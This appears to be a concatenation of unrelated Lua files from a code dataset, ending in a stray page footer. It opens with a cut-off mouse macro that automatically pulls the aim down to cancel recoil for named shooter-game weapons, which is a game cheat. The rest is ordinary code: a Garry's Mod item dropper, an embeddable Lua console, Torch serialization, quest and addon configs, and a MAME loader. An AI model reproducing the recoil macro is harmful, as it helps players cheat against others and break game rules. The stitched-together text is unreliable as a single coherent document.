elseif shotTime > 1000 then
MoveMouseRelative(0, 10.7)
elseif shotTime > 680 then
MoveMouseRelative(0, 11)
elseif shotTime < 680 then
MoveMouseRelative(0, 8.7)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function BoomAllSCAR()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1600 then
MoveMouseRelative(0, 6)
elseif shotTime > 1000 then
MoveMouseRelative(0, 7)
elseif shotTime > 680 then
MoveMouseRelative(0, 7)
elseif shotTime < 680 then
MoveMouseRelative(0, 5)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-------------------------------------------------------------------------------------------------
function BoomUMP9()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 7)
elseif shotTime > 1000 then
MoveMouseRelative(0, 7.1)
elseif shotTime > 680 then
MoveMouseRelative(0, 6.9)
elseif shotTime < 680 then
MoveMouseRelative(0, 5.5)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-------------------------------------------------------------------------------------------------
function ShiftUMP9()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 8.5)
elseif shotTime > 1000 then
MoveMouseRelative(0, 8.6)
elseif shotTime > 680 then
MoveMouseRelative(0, 8.6)
elseif shotTime < 680 then
MoveMouseRelative(0, 7)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function BoomAllUMP9()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 4)
elseif shotTime > 1000 then
MoveMouseRelative(0, 4)
elseif shotTime > 680 then
MoveMouseRelative(0, 4.3)
elseif shotTime < 680 then
MoveMouseRelative(0, 4)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
-----------------------------------------------------------------------------------------------
function BoomAKPoint()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1400 then
MoveMouseRelative(0, 28)
elseif shotTime > 1000 then
MoveMouseRelative(0, 37)
elseif shotTime < 1000 then
MoveMouseRelative(0, 20)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
----------------------------------------------------------------------------------------------
function BoomM16Point()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 29)
elseif shotTime > 1000 then
MoveMouseRelative(0, 29)
elseif shotTime > 680 then
MoveMouseRelative(0, 45)
elseif shotTime < 680 then
MoveMouseRelative(0, 26)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
----------------------------------------------------------------------------------------------
function BoomSCARPoint()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1600 then
MoveMouseRelative(0, 29)
elseif shotTime > 1000 then
MoveMouseRelative(0, 29)
elseif shotTime > 680 then
MoveMouseRelative(0, 45)
elseif shotTime < 680 then
MoveMouseRelative(0, 26)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
----------------------------------------------------------------------------------------------
function BoomUMP9Point()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1840 then
MoveMouseRelative(0, 28)
elseif shotTime > 1000 then
MoveMouseRelative(0, 28)
elseif shotTime > 680 then
MoveMouseRelative(0, 35)
elseif shotTime < 680 then
MoveMouseRelative(0, 25)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
----------------------------------------------------------------------------------------------
function BoomUZI()
shotTime = 0
repeat
if (IsMouseButtonPressed(1)) then
if shotTime > 1680 then
MoveMouseRelative(0, 14)
elseif shotTime > 920 then
MoveMouseRelative(0, 14)
elseif shotTime > 440 then
MoveMouseRelative(0, 6.5)
elseif shotTime < 440 then
MoveMouseRelative(0, 4)
end
PressAndReleaseKey("Left")
Sleep(30)
shotTime = shotTime + 30
else
break
end
until (not IsOnClick)
end
----------------------------------------------------------------------------------------------
function OnEvent(event, arg)
OutputLogMessage("event = %s, KeyName is = %s\n", event, arg)
if (event == "MOUSE_BUTTON_RELEASED" and arg == 1) then
-- 鼠标按键1已被释放
IsOnClick = false
ReleaseKey("Left")
end
if (event == "PROFILE_ACTIVATED") then
EnablePrimaryMouseButtonEvents(true)
elseif event == "PROFILE_DEACTIVATED" then
IsOnClick = false
--ReleaseKey("Left")----------这里之前被注释掉了
--ReleaseMouseButton(1) -----------这里之前被注释掉,防止它被卡住,取消压枪键已经有了这个调用。
end
IsOnClick = false
if (event == "MOUSE_BUTTON_PRESSED" and arg == 1) then
IsOnClick = not IsOnClick
--PressKey("Left")------------这里之前被注释掉了
end
-----------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 4) then --Trans AK47 AK47key
OutputLogMessage("event AK47\n", event, arg)
TransAK()
IsOnClick = false
end
-----------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 5) then --Trans M16A4 M16A4key
OutputLogMessage("event M16A4\n", event, arg)
TransM16()
IsOnClick = false
end
-----------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 8) then --Trans UMP9 UMP9key
OutputLogMessage("event UMP9\n", event, arg)
TransUWP9()
IsOnClick = false
end
-----------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 7) then --Trans M416 M416Key
OutputLogMessage("event M416\n", event, arg)
TransM4()
IsOnClick = false
end
-----------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 10) then --Trans SCAR SCARKey
OutputLogMessage("event SCAR\n", event, arg)
TransSC()
IsOnClick = false
end
-----------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 11) then --Trans UZI UZIKey
OutputLogMessage("event UZI\n", event, arg)
TransUZI()
IsOnClick = false
end
-----------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 6) then --Out Trans OutTranskey
OutputLogMessage("event CANCEL\n", event, arg)
OutTransFunction()
shotKey = " d63cb754d0029fe5"
IsOnClick = false
end
--------------------------------------------------------------------------------------------------
if (event == "MOUSE_BUTTON_PRESSED" and arg == 1 and IsAK) then --AK47
----------------------------------------------------------------------------------------------
if not IsModifierPressed("alt") then
if IsKeyLockOn("capslock") then
BoomAKPoint()
elseif IsKeyLockOn("numlock") then
if not IsModifierPressed("shift") then
BoomAK()
else
ShiftAK()
end
else
BoomAllAK()
end
end
elseif (event == "MOUSE_BUTTON_PRESSED" and arg == 1 and IsSC) then --SCAL
----------------------------------------------------------------------------------------------
if not IsModifierPressed("alt") then
if IsKeyLockOn("capslock") then
BoomSCARPoint()
elseif IsKeyLockOn("numlock") then
if not IsModifierPressed("shift") then
BoomSCAR()
else
ShiftSCAR()
end
else
BoomAllSCAR()
end
end
elseif (event == "MOUSE_BUTTON_PRESSED" and arg == 1 and IsM4) then --M416
----------------------------------------------------------------------------------------------
if not IsModifierPressed("alt") then
if IsKeyLockOn("capslock") then
BoomSCARPoint()
elseif IsKeyLockOn("numlock") then
if not IsModifierPressed("shift") then
BoomM4()
else
ShiftM4()
end
else
BoomAllM4()
end
end
elseif (event == "MOUSE_BUTTON_PRESSED" and arg == 1 and IsM16) then --M16A4
----------------------------------------------------------------------------------------------
if not IsModifierPressed("alt") then
if IsKeyLockOn("capslock") then
BoomM16Point()
elseif IsKeyLockOn("numlock") then
if not IsModifierPressed("shift") then
BoomM16()
else
ShiftM16()
end
else
BoomAllM16()
end
end
elseif (event == "MOUSE_BUTTON_PRESSED" and arg == 1 and IsUWP9) then --UMP9
----------------------------------------------------------------------------------------------
if not IsModifierPressed("alt") then
if IsKeyLockOn("capslock") then
BoomUMP9Point()
elseif IsKeyLockOn("numlock") then
if not IsModifierPressed("shift") then
BoomUMP9()
else
ShiftUMP9()
end
else
BoomAllUMP9()
end
end
elseif (event == "MOUSE_BUTTON_PRESSED" and arg == 1 and IsUZI) then --UZI
----------------------------------------------------------------------------------------------
if not IsModifierPressed("alt") then
BoomUZI()
end
elseif (event == "MOUSE_BUTTON_PRESSED" and arg == 1) then
if not IsModifierPressed("alt") then
PressKey("Left")
end
end
end
|
SetupProject("Tut_14_Basic_Texture", "BasicTexture.cpp",
"data/PN.vert",
"data/ShaderGaussian.frag",
"data/TextureGaussian.frag")
SetupProject("Tut_14_Perspective_Interpolation", "PerspectiveInterpolation.cpp",
"data/SmoothVertexColors.vert",
"data/SmoothVertexColors.frag",
"data/NoCorrectVertexColors.vert",
"data/NoCorrectVertexColors.frag")
SetupProject("Tut_14_Material_Texture", "MaterialTexture.cpp",
"data/PN.vert",
"data/PNT.vert",
"data/FixedShininess.frag",
"data/TextureShininess.frag",
"data/TextureCompute.frag")
|
AddCSLuaFile( )
ENT.Type = "anim"
ENT.Base = "gasl_base_ent"
ENT.AutomaticFrameAdvance = true
function ENT:SetupDataTables()
self:NetworkVar( "Bool", 0, "Respawn" )
self:NetworkVar( "Int", 1, "DropType" )
end
if ( CLIENT ) then
function ENT:Initialize()
self.BaseClass.Initialize( self )
end
function ENT:Think()
self.BaseClass.Think( self )
end
end
function ENT:DropTypeToInfo( )
local dropTypeToinfo = {
[0] = { model = "models/portal_custom/metal_box_custom.mdl", class = "prop_physics" },
[1] = { model = "models/portal_custom/metal_box_custom.mdl", class = "prop_physics", skin = 1 },
[2] = { model = "models/portal_custom/metal_ball_custom.mdl", class = "prop_physics" },
[3] = { model = "models/props/reflection_cube.mdl", class = "prop_physics" },
[4] = { class = "prop_monster_box" },
[5] = { class = "ent_portal_bomb" }
}
return dropTypeToinfo[ self:GetDropType() ]
end
function ENT:Draw()
self:DrawModel()
end
-- No more client side
if ( CLIENT ) then return end
function ENT:Initialize()
self.BaseClass.Initialize( self )
self:SetModel( "models/prop_backstage/item_dropper.mdl" )
self:PhysicsInit( SOLID_VPHYSICS )
self:SetMoveType( MOVETYPE_NONE )
self:SetSolid( SOLID_VPHYSICS )
self:GetPhysicsObject():EnableMotion( false )
self:DrawShadow( false )
self:AddInput( "Enable", function( value )
if ( tobool( value ) ) then self:Drop() end
end )
if ( !WireAddon ) then return end
self.Inputs = Wire_CreateInputs( self, { "Drop" } )
end
function ENT:Think()
self.BaseClass.Think( self )
self:NextThink( CurTime() + 0.1 )
-- skip if item dropper allready drops item
if ( timer.Exists( "GASL_ItemDroper_Reset"..self:EntIndex() ) ) then return true end
-- if item inside dropper was missing spawing another one
if ( !IsValid( self.GASL_ItemDropper_LastSpawnedItem ) ) then
local item = self:CreateItem()
if ( !IsValid( self.GASL_ItemDropper_LastDropperItem ) ) then self.GASL_ItemDropper_LastDropperItem = item end
end
-- if item is missing spawn another and if this function enabled
if ( !IsValid( self.GASL_ItemDropper_LastDropperItem ) && self:GetRespawn() ) then
self:Drop()
end
-- Epic fall animation
local FallZ = 120
local StartZ = 80
local lastSpawnedItem = self.GASL_ItemDropper_LastSpawnedItem
if ( !self.GASL_ItemDropper_Fall ) then self.GASL_ItemDropper_Fall = 0 end
if ( !IsValid( lastSpawnedItem ) ) then return end
local itemfall = self.GASL_ItemDropper_Fall
if ( itemfall < FallZ ) then
self:NextThink( CurTime() )
self.GASL_ItemDropper_Fall = itemfall + math.max( 3, itemfall / 20 )
elseif( itemfall > FallZ ) then self.GASL_ItemDropper_Fall = FallZ end
lastSpawnedItem:SetPos( self:LocalToWorld( Vector( 0, 0, math.max( -20, StartZ - itemfall ) ) ) )
return true
end
function ENT:CreateItem()
local info = self:DropTypeToInfo()
local item = ents.Create( info.class )
if ( !IsValid( item ) ) then return end
if ( info.model ) then item:SetModel( info.model ) end
item:SetPos( self:LocalToWorld( Vector( 0, 0, 120 ) ) )
item:SetAngles( self:GetAngles() )
item:Spawn()
if ( IsValid( item:GetPhysicsObject() ) ) then item:GetPhysicsObject():EnableMotion( false ) end
constraint.NoCollide( item, self, 0, 0 )
if ( info.skin ) then item:SetSkin( info.skin ) end
if ( info.class == "prop_monster_box" ) then item.GASL_Monsterbox_cubemode = true end
if ( info.class == "ent_portal_bomb" ) then item.GASL_Bomb_disabled = true end
self.GASL_ItemDropper_LastSpawnedItem = item
self.GASL_ItemDropper_Fall = 0
return item
end
function ENT:Drop()
-- skip if item dropper allready drops item
if ( timer.Exists( "GASL_ItemDroper_Reset"..self:EntIndex() ) ) then return end
-- dissolve old entitie
if ( IsValid( self.GASL_ItemDropper_LastDropperItem ) && self.GASL_ItemDropper_LastDropperItem != self.GASL_ItemDropper_LastSpawnedItem ) then
APERTURESCIENCE:DissolveEnt( self.GASL_ItemDropper_LastDropperItem )
end
APERTURESCIENCE:PlaySequence( self, "item_dropper_open", 1.0 )
self:SetSkin( 1 )
self:EmitSound( "GASL.ItemDropperOpen" )
-- Droping item
timer.Simple( 0.5, function()
if ( !IsValid( self.GASL_ItemDropper_LastSpawnedItem ) ) then return end
local lastSpawnedItem = self.GASL_ItemDropper_LastSpawnedItem
if ( !IsValid( lastSpawnedItem:GetPhysicsObject() ) ) then return end
local lastSpawnedItemPhys = lastSpawnedItem:GetPhysicsObject()
lastSpawnedItemPhys:EnableMotion( true )
lastSpawnedItemPhys:Wake()
if ( lastSpawnedItem:GetClass() == "ent_portal_bomb" ) then lastSpawnedItem.GASL_Bomb_disabled = false end
self.GASL_ItemDropper_LastSpawnedItem = nil
self.GASL_ItemDropper_LastDropperItem = lastSpawnedItem
end )
-- Close iris
timer.Simple( 1.5, function()
if ( !IsValid( self ) ) then return end
APERTURESCIENCE:PlaySequence( self, "item_dropper_close", 1.0 )
self:SetSkin( 0 )
self:EmitSound( "GASL.ItemDropperClose" )
end )
-- Spawn new item
timer.Create( "GASL_ItemDroper_Reset"..self:EntIndex(), 2.5, 1, function()
if ( !IsValid( self ) ) then return end
self:CreateItem()
self.GASL_ItemDropper_Fall = 0
end )
end
function ENT:TriggerInput( iname, value )
if ( !WireAddon ) then return end
if ( iname == "Drop" && tobool( value ) ) then self:Drop() end
end
function ENT:OnRemove()
if ( IsValid( self.GASL_ItemDropper_LastSpawnedItem ) ) then self.GASL_ItemDropper_LastSpawnedItem:Remove() end
if ( IsValid( self.GASL_ItemDropper_LastDropperItem ) ) then self.GASL_ItemDropper_LastDropperItem:Remove() end
timer.Remove( "GASL_ItemDroper_Reset"..self:EntIndex() )
end
|
-- iluaembed.lua
-- based on Steve Donovan's executable ilua.lua (2007)
-- "A more friendly Lua interactive prompt
-- doesn't need '='
-- will try to print out tables recursively, subject to the pretty_print_limit value."
--
-- version by osar.fr to embed the interactive Lua console in C/C++ programs
-- creates a global function to be called by the host
--
local pretty_print_limit = 20
local max_depth = 7
local table_clever = true
local prompt = '> '
local verbose = false
local strict = true
-- suppress strict warnings
_ = true
-- imported global functions
local sub = string.sub
local match = string.match
local find = string.find
local push = table.insert
local pop = table.remove
local append = table.insert
local concat = table.concat
local floor = math.floor
local write = io.write
local read = io.read
local savef
local collisions = {}
local G_LIB = {}
local declared = {}
local line_handler_fn, global_handler_fn
local print_handlers = {}
ilua = {}
local num_prec
local num_all
local jstack = {}
local function oprint(...)
if savef then
savef:write(concat({...},' '),'\n')
end
print(...)
end
local function join(tbl,delim,limit,depth)
if not limit then limit = pretty_print_limit end
if not depth then depth = max_depth end
local n = #tbl
local res = ''
local k = 0
-- very important to avoid disgracing ourselves with circular referencs...
if #jstack > depth then
return "..."
end
for i,t in ipairs(jstack) do
if tbl == t then
return "<self>"
end
end
push(jstack,tbl)
-- this is a hack to work out if a table is 'list-like' or 'map-like'
-- you can switch it off with ilua.table_options {clever = false}
local is_list
if table_clever then
local index1 = n > 0 and tbl[1]
local index2 = n > 1 and tbl[2]
is_list = index1 and index2
end
if is_list then
for i,v in ipairs(tbl) do
res = res..delim..ilua.val2str(v)
k = k + 1
if k > limit then
res = res.." ... "
break
end
end
else
for key,v in pairs(tbl) do
if type(key) == 'number' then
key = '['..tostring(key)..']'
else
key = tostring(key)
end
res = res..delim..key..'='..ilua.val2str(v)
k = k + 1
if k > limit then
res = res.." ... "
break
end
end
end
pop(jstack)
return sub(res,2)
end
function ilua.val2str(val)
local tp = type(val)
if print_handlers[tp] then
local s = print_handlers[tp](val)
return s or '?'
end
if tp == 'function' then
return tostring(val)
elseif tp == 'table' then
if val.__tostring then
return tostring(val)
else
return '{'..join(val,',')..'}'
end
elseif tp == 'string' then
return "'"..val.."'"
elseif tp == 'number' then
-- we try only to apply floating-point precision for numbers deemed to be floating-point,
-- unless the 3rd arg to precision() is true.
if num_prec and (num_all or floor(val) ~= val) then
return num_prec:format(val)
else
return tostring(val)
end
else
return tostring(val)
end
end
function ilua.pretty_print(...)
local arg = {...}
for i,val in ipairs(arg) do
oprint(ilua.val2str(val))
end
_G['_'] = arg[1]
end
function ilua.compile(line)
if verbose then oprint(line) end
local f,err = loadstring(line,'local')
return err,f
end
function ilua.evaluate(chunk)
local ok,res = pcall(chunk)
if not ok then
return res
end
return nil -- meaning, fine!
end
function ilua.eval_lua(line)
if savef then
savef:write(prompt,line,'\n')
end
-- is the line handler interested?
if line_handler_fn then
line = line_handler_fn(line)
-- returning nil here means that the handler doesn't want
-- Lua to see the string
if not line then return end
end
-- is it an expression?
local err,chunk = ilua.compile('ilua.pretty_print('..line..')')
if err then
-- otherwise, a statement?
err,chunk = ilua.compile(line)
end
-- if compiled ok, then evaluate the chunk
if not err then
err = ilua.evaluate(chunk)
end
-- if there was any error, print it out
if err then
oprint(err)
end
end
-- functions available in scripts
function ilua.precision(len,prec,all)
if not len then num_prec = nil
else
num_prec = '%'..len..'.'..prec..'f'
end
num_all = all
end
function ilua.table_options(t)
if t.limit then pretty_print_limit = t.limit end
if t.depth then max_depth = t.depth end
if t.clever ~= nil then table_clever = t.clever end
end
-- inject @tbl into the global namespace
function ilua.import(tbl,dont_complain,lib)
lib = lib or '<unknown>'
if type(tbl) == 'table' then
for k,v in pairs(tbl) do
local key = rawget(_G,k)
-- NB to keep track of collisions!
if key and k ~= '_M' and k ~= '_NAME' and k ~= '_PACKAGE' and k ~= '_VERSION' then
append(collisions,{k,lib,G_LIB[k]})
end
_G[k] = v
G_LIB[k] = lib
end
end
if not dont_complain and #collisions > 0 then
for i, coll in ipairs(collisions) do
local name,lib,oldlib = coll[1],coll[2],coll[3]
write('warning: ',lib,'.',name,' overwrites ')
if oldlib then
write(oldlib,'.',name,'\n')
else
write('global ',name,'\n')
end
end
end
end
function ilua.print_handler(name,handler)
print_handlers[name] = handler
end
function ilua.line_handler(handler)
line_handler_fn = handler
end
function ilua.global_handler(handler)
global_handler_fn = handler
end
function ilua.print_variables()
for name,v in pairs(declared) do
print(name,type(_G[name]))
end
end
function ilua_runline(line)
ilua.eval_lua(line)
end
|
print('hello perilune')
print(Vector3)
local zero = Vector3.Zero()
print(zero)
print(zero.x)
local v = Vector3.New(1, 2, 3)
print(v)
print(v.x)
print(v.y)
print(v.z)
local n = v.sqnorm()
print(n)
local list = Vector3List.New()
print(list, #list)
list.push_back(v)
list.push_back(v)
list.push_back(v)
print(list, #list)
for i, x in ipairs(list) do print(i, x) end
local y = v + Vector3.New(1, 2, 3)
print(y)
local z = y + {1, 2, 3}
print(z)
|
megan_drlar_missions =
{
{
missionType = "escort",
primarySpawns =
{
{ npcTemplate = "salvager_quest_megan", npcName = "a Salvage Worker" }
},
secondarySpawns =
{
{ npcTemplate = "scavenger", npcName = "" },
{ npcTemplate = "scavenger", npcName = "" }
},
itemSpawns =
{
},
rewards =
{
{ rewardType = "credits", amount = 75 }
}
},
{
missionType = "confiscate",
primarySpawns =
{
{ npcTemplate = "scavenger_quest_megan", npcName = "Scavenger Thief" }
},
secondarySpawns =
{
{ npcTemplate = "scavenger", npcName = "" },
{ npcTemplate = "scavenger", npcName = "" }
},
itemSpawns =
{
{ itemTemplate = "object/tangible/mission/quest_item/megan_drlar_q2_needed.iff", itemName = "" }
},
rewards =
{
{ rewardType = "credits", amount = 100 }
}
},
{
missionType = "assassinate",
primarySpawns =
{
{ npcTemplate = "scavenger_quest_megan2", npcName = "Scavenger Leader" }
},
secondarySpawns =
{
{ npcTemplate = "scavenger", npcName = "" },
{ npcTemplate = "scavenger", npcName = "" },
{ npcTemplate = "scavenger", npcName = "" }
},
itemSpawns =
{
},
rewards =
{
{ rewardType = "credits", amount = 150 },
}
}
}
npcMapMeganDrlar =
{
{
spawnData = { npcTemplate = "megan_drlar", x = 5855.7, z = 32.6, y = -336.5, direction = -144, cellID = 0, position = STAND },
npcNumber = 1,
stfFile = "@static_npc/yavin/yavin_salvagecamp_megan_drlar",
missions = megan_drlar_missions
},
}
MeganDrlar = ThemeParkLogic:new {
npcMap = npcMapMeganDrlar,
className = "MeganDrlar",
screenPlayState = "megan_drlar_tasks",
planetName = "yavin4",
distance = 700
}
registerScreenPlay("MeganDrlar", true)
megan_drlar_mission_giver_conv_handler = mission_giver_conv_handler:new {
themePark = MeganDrlar
}
megan_drlar_mission_target_conv_handler = mission_target_conv_handler:new {
themePark = MeganDrlar
}
|
--[[
© 2020 TERRANOVA do not share, re-distribute or modify
without permission of its author.
--]]
PLUGIN.name = "New Intro";
PLUGIN.description = "Reverts ix intro into a customised version of the nutscript one.";
PLUGIN.author = "Adolphus"; |
require 'torch'
local ffi = require 'ffi'
local serialize = {}
local typenames = {}
local function serializePointer(obj, f)
-- on 32-bit systems double can represent all possible
-- pointer values, but signed long can't
if ffi.sizeof('long') == 4 then
f:writeDouble(torch.pointer(obj))
-- on 64-bit systems, long can represent a larger
-- range of integers than double, so it's safer to use this
else
f:writeLong(torch.pointer(obj))
end
end
local function deserializePointer(f)
if ffi.sizeof('long') == 4 then
return f:readDouble()
else
return f:readLong()
end
end
-- tds support
local _, tds = pcall(require, 'tds') -- for the free/retain functions
if tds then
-- hash
local mt = {}
function mt.__factory(f)
local self = deserializePointer(f)
self = ffi.cast('tds_hash&', self)
ffi.gc(self, tds.C.tds_hash_free)
return self
end
function mt.__write(self, f)
serializePointer(self, f)
tds.C.tds_hash_retain(self)
end
function mt.__read(self, f)
end
typenames['tds.Hash'] = mt
-- vec
local mt = {}
function mt.__factory(f)
local self = deserializePointer(f)
self = ffi.cast('tds_vec&', self)
ffi.gc(self, tds.C.tds_vec_free)
return self
end
function mt.__write(self, f)
serializePointer(self, f)
tds.C.tds_vec_retain(self)
end
function mt.__read(self, f)
end
typenames['tds.Vec'] = mt
-- atomic
local mt = {}
function mt.__factory(f)
local self = deserializePointer(f)
self = ffi.cast('tds_atomic_counter&', self)
ffi.gc(self, tds.C.tds_atomic_free)
return self
end
function mt.__write(self, f)
serializePointer(self, f)
tds.C.tds_atomic_retain(self)
end
function mt.__read(self, f)
end
typenames['tds.AtomicCounter'] = mt
end
-- tensor support
for _, typename in ipairs{
'torch.ByteTensor',
'torch.CharTensor',
'torch.ShortTensor',
'torch.IntTensor',
'torch.LongTensor',
'torch.FloatTensor',
'torch.DoubleTensor',
'torch.CudaTensor',
'torch.ByteStorage',
'torch.CharStorage',
'torch.ShortStorage',
'torch.IntStorage',
'torch.LongStorage',
'torch.FloatStorage',
'torch.DoubleStorage',
'torch.CudaStorage',
'torch.Allocator'} do
local mt = {}
function mt.__factory(f)
local self = deserializePointer(f)
self = torch.pushudata(self, typename)
return self
end
function mt.write(self, f)
serializePointer(self, f)
if typename ~= 'torch.Allocator' then
self:retain()
end
end
function mt.read(self, f)
end
typenames[typename] = mt
end
local function swapwrite()
for typename, mt in pairs(typenames) do
local mts = torch.getmetatable(typename)
if mts then
mts.__factory, mt.__factory = mt.__factory, mts.__factory
mts.__write, mt.__write = mt.__write, mts.__write
mts.write, mt.write = mt.write, mts.write
end
end
end
local function swapread()
for typename, mt in pairs(typenames) do
local mts = torch.getmetatable(typename)
if mts then
mts.__factory, mt.__factory = mt.__factory, mts.__factory
mts.__read, mt.__read = mt.__read, mts.__read
mts.read, mt.read = mt.read, mts.read
end
end
end
function serialize.save(func)
local status, msg = pcall(swapwrite)
if not status then
print(string.format('FATAL THREAD PANIC: (write) %s', msg))
os.exit(-1)
end
local status, storage = pcall(
function()
local f = torch.MemoryFile()
f:binary()
f:writeObject(func)
local storage = f:storage()
f:close()
return storage
end
)
if not status then
print(string.format('FATAL THREAD PANIC: (write) %s', storage))
os.exit(-1)
end
local status, msg = pcall(swapwrite)
if not status then
print(string.format('FATAL THREAD PANIC: (write) %s', msg))
os.exit(-1)
end
return storage
end
function serialize.load(storage)
local status, msg = pcall(swapread)
if not status then
print(string.format('FATAL THREAD PANIC: (read) %s', msg))
os.exit(-1)
end
local status, func = pcall(
function()
local f = torch.MemoryFile(storage)
f:binary()
local func = f:readObject()
f:close()
return func
end
)
if not status then
print(string.format('FATAL THREAD PANIC: (read) %s', func))
os.exit(-1)
end
local status, msg = pcall(swapread)
if not status then
print(string.format('FATAL THREAD PANIC: (read) %s', msg))
os.exit(-1)
end
return func
end
return serialize
|
HPetSaves = {
["OnlyInPetInfo"] = false,
["FastForfeit"] = true,
["ShowBandageButton"] = false,
["ShowGrowInfo"] = true,
["ShowBreedID"] = false,
["EnemyAbility"] = true,
["ShowMsg"] = true,
["Sound"] = true,
["HighGlow"] = true,
["AbScale"] = 0.8,
["PetBreedInfo"] = false,
["ShowHideID"] = true,
["PetGreedInfo"] = true,
["AutoSaveAbility"] = true,
["Tooltip"] = true,
["BreedIDStyle"] = true,
["AbPoint"] = {
},
["Ver"] = "2.2.14",
["PetAbilitys"] = {
},
["AllyAbility"] = false,
["MiniTip"] = false,
["LockAbilitys"] = false,
["ShowAbilitysName"] = false,
["OtherAbility"] = false,
["god"] = false,
}
|
-- Script for MAME that launches the vg5k emulator, waits for boot, injects
-- a binary program and launches it.
--
-- Copyright 2018 Sylvain Glaize
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
-- documentation files (the "Software"), to deal in the Software without restriction, including without
-- limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the
-- Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED
-- TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-- THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
-- CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-- DEALINGS IN THE SOFTWARE.
local machine = manager:machine()
local machine_debugger = machine:debugger()
local log = machine_debugger.consolelog
local log_count = 1
-- First verity if the debugger was launched with the emulator
if not machine_debugger then
print("No debugger found.")
return
end
-- Pause the emulator while setuping the system
emu.pause()
-- Get control objects from the emulator
local cpu = manager:machine().devices[":maincpu"]
local debugger = cpu:debug()
-- The steps
local boot = {
name = "BOOT",
action = function()
debugger:go(0x2adf)
emu.unpause()
end
}
local load_after_boot = {
name = "LOAD",
condition = "Stopped at temporary breakpoint 2ADF on CPU ':maincpu'",
action = function()
machine_debugger:command("load input.bin,0x7000")
emu.keypost('CALL &"7000"\n')
end
}
local final_step = {
name = "STOP",
action = function()
end
}
local steps = {
boot,
load_after_boot,
final_step,
}
-- The Step Machine
local current_step = 0
local next_step
function do_action()
next_step.action()
end
function go_to_next_step()
current_step = current_step + 1
if current_step <= #steps then
next_step = steps[current_step]
print("Running step: " .. next_step.name)
else
next_step = nil
print("No more step")
end
end
-- Bootstraping
go_to_next_step()
-- Running the Step Machine
emu.register_periodic(function()
local condition_found = false
if log_count <= #log then
for i = log_count, #log do
msg = log[i]
print("DEBUG: " .. msg)
if next_step and msg == next_step.condition then
condition_found = true
end
end
log_count = #log + 1
end
if condition_found or (next_step and not next_step.condition) then
do_action()
go_to_next_step()
end
end)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.